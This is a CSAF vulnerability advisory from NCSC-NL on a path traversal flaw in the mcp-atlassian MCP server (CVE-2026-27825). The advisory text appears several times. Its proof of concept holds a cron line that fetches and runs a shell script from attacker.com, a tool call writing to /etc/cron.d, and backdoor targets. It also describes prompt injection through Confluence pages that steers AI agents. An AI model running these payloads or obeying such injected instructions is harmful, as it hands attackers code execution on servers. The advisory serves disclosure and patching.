{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27825", "tracking": { "current_release_date": "2026-04-02T14:26:02.249263Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27825", "initial_release_date": "2026-03-10T19:38:55.242484Z", "revision_history": [ { "date": "2026-03-10T19:38:55.242484Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-10T19:38:57.903071Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-10T19:58:23.322755Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-10T19:58:28.248416Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-10T21:27:52.417764Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-10T21:27:56.587796Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-10T21:39:15.511666Z", "number": "7", "summary": "Unknown change." }, { "date": "2026-03-11T00:39:23.853109Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (72).| Product Identifiers created (71).| References created (2).| CWES updated (1)." }, { "date": "2026-03-11T14:58:16.259903Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-11T14:58:19.962647Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-03-19T15:29:49.548364Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T09:39:40.861290Z", "number": "12", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:39:43.255016Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-04-01T07:33:11.632782Z", "number": "14", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products connected (1)." }, { "date": "2026-04-01T07:33:15.102872Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-04-02T14:25:51.624980Z", "number": "16", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| Product Identifiers created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-04-02T14:26:00.256202Z", "number": "17", "summary": "NCSC Score updated." } ], "status": "interim", "version": "17" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.1.1", "product": { "name": "vers:unknown/0.1.1", "product_id": "CSAFPID-5780881", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.10", "product": { "name": "vers:unknown/0.1.10", "product_id": "CSAFPID-5780882", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.10" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.11", "product": { "name": "vers:unknown/0.1.11", "product_id": "CSAFPID-5780883", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.11" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.12", "product": { "name": "vers:unknown/0.1.12", "product_id": "CSAFPID-5780884", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.12" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.13", "product": { "name": "vers:unknown/0.1.13", "product_id": "CSAFPID-5780885", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.13" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.14", "product": { "name": "vers:unknown/0.1.14", "product_id": "CSAFPID-5780886", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.14" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.15", "product": { "name": "vers:unknown/0.1.15", "product_id": "CSAFPID-5780887", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.15" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.16", "product": { "name": "vers:unknown/0.1.16", "product_id": "CSAFPID-5780888", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.16" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.2", "product": { "name": "vers:unknown/0.1.2", "product_id": "CSAFPID-5780889", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.3", "product": { "name": "vers:unknown/0.1.3", "product_id": "CSAFPID-5780890", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.4", "product": { "name": "vers:unknown/0.1.4", "product_id": "CSAFPID-5780891", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.6", "product": { "name": "vers:unknown/0.1.6", "product_id": "CSAFPID-5780892", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.7", "product": { "name": "vers:unknown/0.1.7", "product_id": "CSAFPID-5780893", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.8", "product": { "name": "vers:unknown/0.1.8", "product_id": "CSAFPID-5780894", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.1.9", "product": { "name": "vers:unknown/0.1.9", "product_id": "CSAFPID-5780895", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.1.9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.0", "product": { "name": "vers:unknown/0.10.0", "product_id": "CSAFPID-5780896", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.1", "product": { "name": "vers:unknown/0.10.1", "product_id": "CSAFPID-5780897", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.10.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.2", "product": { "name": "vers:unknown/0.10.2", "product_id": "CSAFPID-5780898", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.10.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.3", "product": { "name": "vers:unknown/0.10.3", "product_id": "CSAFPID-5780899", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.10.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.4", "product": { "name": "vers:unknown/0.10.4", "product_id": "CSAFPID-5780900", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.10.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.5", "product": { "name": "vers:unknown/0.10.5", "product_id": "CSAFPID-5780901", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.10.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.10.6", "product": { "name": "vers:unknown/0.10.6", "product_id": "CSAFPID-5780902", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.10.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.0", "product": { "name": "vers:unknown/0.11.0", "product_id": "CSAFPID-5780903", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.1", "product": { "name": "vers:unknown/0.11.1", "product_id": "CSAFPID-5780904", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.10", "product": { "name": "vers:unknown/0.11.10", "product_id": "CSAFPID-5780905", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.10" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.11", "product": { "name": "vers:unknown/0.11.11", "product_id": "CSAFPID-5780906", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.11" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.12", "product": { "name": "vers:unknown/0.11.12", "product_id": "CSAFPID-5780907", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.12" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.2", "product": { "name": "vers:unknown/0.11.2", "product_id": "CSAFPID-5780908", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.2a2", "product": { "name": "vers:unknown/0.11.2a2", "product_id": "CSAFPID-5780909", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.2a2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.3", "product": { "name": "vers:unknown/0.11.3", "product_id": "CSAFPID-5780910", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.4", "product": { "name": "vers:unknown/0.11.4", "product_id": "CSAFPID-5780911", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.5", "product": { "name": "vers:unknown/0.11.5", "product_id": "CSAFPID-5780912", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.6", "product": { "name": "vers:unknown/0.11.6", "product_id": "CSAFPID-5780913", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.7", "product": { "name": "vers:unknown/0.11.7", "product_id": "CSAFPID-5780914", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.8", "product": { "name": "vers:unknown/0.11.8", "product_id": "CSAFPID-5780915", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.11.9", "product": { "name": "vers:unknown/0.11.9", "product_id": "CSAFPID-5780916", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.11.9" } } }, { "category": "product_version_range", "name": "vers:unknown/0.12.0", "product": { "name": "vers:unknown/0.12.0", "product_id": "CSAFPID-5780917", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.13.0", "product": { "name": "vers:unknown/0.13.0", "product_id": "CSAFPID-5780918", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.13.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.13.1", "product": { "name": "vers:unknown/0.13.1", "product_id": "CSAFPID-5780919", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.13.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.14.0", "product": { "name": "vers:unknown/0.14.0", "product_id": "CSAFPID-5780920", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.14.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.14.1", "product": { "name": "vers:unknown/0.14.1", "product_id": "CSAFPID-5780921", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.14.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.14.2", "product": { "name": "vers:unknown/0.14.2", "product_id": "CSAFPID-5780922", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.14.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.14.3", "product": { "name": "vers:unknown/0.14.3", "product_id": "CSAFPID-5780923", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.14.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.15.0", "product": { "name": "vers:unknown/0.15.0", "product_id": "CSAFPID-5780924", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.15.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.16.0", "product": { "name": "vers:unknown/0.16.0", "product_id": "CSAFPID-5780925", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.16.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.16.1", "product": { "name": "vers:unknown/0.16.1", "product_id": "CSAFPID-5780926", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.16.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.0", "product": { "name": "vers:unknown/0.2.0", "product_id": "CSAFPID-5780927", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.1", "product": { "name": "vers:unknown/0.2.1", "product_id": "CSAFPID-5780928", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.2", "product": { "name": "vers:unknown/0.2.2", "product_id": "CSAFPID-5780929", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.3", "product": { "name": "vers:unknown/0.2.3", "product_id": "CSAFPID-5780930", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.4", "product": { "name": "vers:unknown/0.2.4", "product_id": "CSAFPID-5780931", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.2.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.5", "product": { "name": "vers:unknown/0.2.5", "product_id": "CSAFPID-5780932", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.2.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.2.6", "product": { "name": "vers:unknown/0.2.6", "product_id": "CSAFPID-5780933", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.2.6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.0", "product": { "name": "vers:unknown/0.3.0", "product_id": "CSAFPID-5780934", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.3.1", "product": { "name": "vers:unknown/0.3.1", "product_id": "CSAFPID-5780935", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.4.0", "product": { "name": "vers:unknown/0.4.0", "product_id": "CSAFPID-5780936", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.5.0", "product": { "name": "vers:unknown/0.5.0", "product_id": "CSAFPID-5780937", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.0", "product": { "name": "vers:unknown/0.6.0", "product_id": "CSAFPID-5780938", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.1", "product": { "name": "vers:unknown/0.6.1", "product_id": "CSAFPID-5780939", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.2", "product": { "name": "vers:unknown/0.6.2", "product_id": "CSAFPID-5780940", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.3", "product": { "name": "vers:unknown/0.6.3", "product_id": "CSAFPID-5780941", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.6.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.4", "product": { "name": "vers:unknown/0.6.4", "product_id": "CSAFPID-5780942", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.6.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.6.5", "product": { "name": "vers:unknown/0.6.5", "product_id": "CSAFPID-5780943", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.6.5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.0", "product": { "name": "vers:unknown/0.7.0", "product_id": "CSAFPID-5780944", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.7.1", "product": { "name": "vers:unknown/0.7.1", "product_id": "CSAFPID-5780945", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.0", "product": { "name": "vers:unknown/0.8.0", "product_id": "CSAFPID-5780946", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.1", "product": { "name": "vers:unknown/0.8.1", "product_id": "CSAFPID-5780947", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.2", "product": { "name": "vers:unknown/0.8.2", "product_id": "CSAFPID-5780948", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.8.2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.3", "product": { "name": "vers:unknown/0.8.3", "product_id": "CSAFPID-5780949", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.8.3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.8.4", "product": { "name": "vers:unknown/0.8.4", "product_id": "CSAFPID-5780950", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.8.4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.9.0", "product": { "name": "vers:unknown/0.9.0", "product_id": "CSAFPID-5780951", "product_identification_helper": { "purl": "pkg:pypi/mcp-atlassian@0.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/<0.17.0", "product": { "name": "vers:unknown/<0.17.0", "product_id": "CSAFPID-5777014" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.17.0", "product": { "name": "vers:unknown/>=0|<0.17.0", "product_id": "CSAFPID-5780952" } } ], "category": "product_name", "name": "mcp-atlassian" } ], "category": "vendor", "name": "sooperset" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.17.0", "product": { "name": "vers:unknown/<0.17.0", "product_id": "CSAFPID-5970924" } } ], "category": "product_name", "name": "mcp-atlassian" } ], "category": "vendor", "name": "unknown" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.17.0", "product": { "name": "vers:unknown/<0.17.0", "product_id": "CSAFPID-5984832", "product_identification_helper": { "cpe": "cpe:2.3:a:mcp-atlassian:mcp_atlassian:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "mcp_atlassian" } ], "category": "vendor", "name": "mcp-atlassian" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27825", "cwe": { "id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" }, "notes": [ { "category": "description", "text": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27825" }, { "category": "description", "text": "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n ```python\n download_path: Annotated[\n str,\n Field(\n description=(\n \"Full path where the file should be saved. Can be absolute or relative. \"\n \"Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\\\\\temp\\\\\\\\file.docx'. \"\n \"Parent directory will be created if it doesn't exist.\"\n )\n ),\n ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:\n\n if not os.path.isabs(target_path):\n target_path = os.path.abspath(target_path) # normalizes path, no restriction\n\n os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory\n with open(target_path, \"wb\") as f: # writes to any writable path\n for chunk in response.iter_content(chunk_size=8192):\n f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.\n\nStep 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 — Call the tool with a sensitive write target:\n\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"confluence_download_attachment\",\n \"arguments\": {\n \"page_id\": \"\",\n \"attachment_id\": \"\",\n \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n }\n },\n \"id\": 1\n }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n - /home//.ssh/authorized_keys - persistent SSH backdoor\n - /lib/python3.x/site-packages/.py - code execution on next import\n - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.", "title": "github - https://github.com/advisories/GHSA-xjgw-4wvw-rgm4" }, { "category": "description", "text": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27825" }, { "category": "description", "text": "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n ```python\n download_path: Annotated[\n str,\n Field(\n description=(\n \"Full path where the file should be saved. Can be absolute or relative. \"\n \"Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\\\\\temp\\\\\\\\file.docx'. \"\n \"Parent directory will be created if it doesn't exist.\"\n )\n ),\n ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:\n\n if not os.path.isabs(target_path):\n target_path = os.path.abspath(target_path) # normalizes path, no restriction\n\n os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory\n with open(target_path, \"wb\") as f: # writes to any writable path\n for chunk in response.iter_content(chunk_size=8192):\n f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.\n\nStep 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 — Call the tool with a sensitive write target:\n\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"confluence_download_attachment\",\n \"arguments\": {\n \"page_id\": \"\",\n \"attachment_id\": \"\",\n \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n }\n },\n \"id\": 1\n }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n - /home//.ssh/authorized_keys - persistent SSH backdoor\n - /lib/python3.x/site-packages/.py - code execution on next import\n - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-xjgw-4wvw-rgm4.json?alt=media" }, { "category": "description", "text": "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n ```python\n download_path: Annotated[\n str,\n Field(\n description=(\n \"Full path where the file should be saved. Can be absolute or relative. \"\n \"Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\\\\\temp\\\\\\\\file.docx'. \"\n \"Parent directory will be created if it doesn't exist.\"\n )\n ),\n ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:\n\n if not os.path.isabs(target_path):\n target_path = os.path.abspath(target_path) # normalizes path, no restriction\n\n os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory\n with open(target_path, \"wb\") as f: # writes to any writable path\n for chunk in response.iter_content(chunk_size=8192):\n f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page 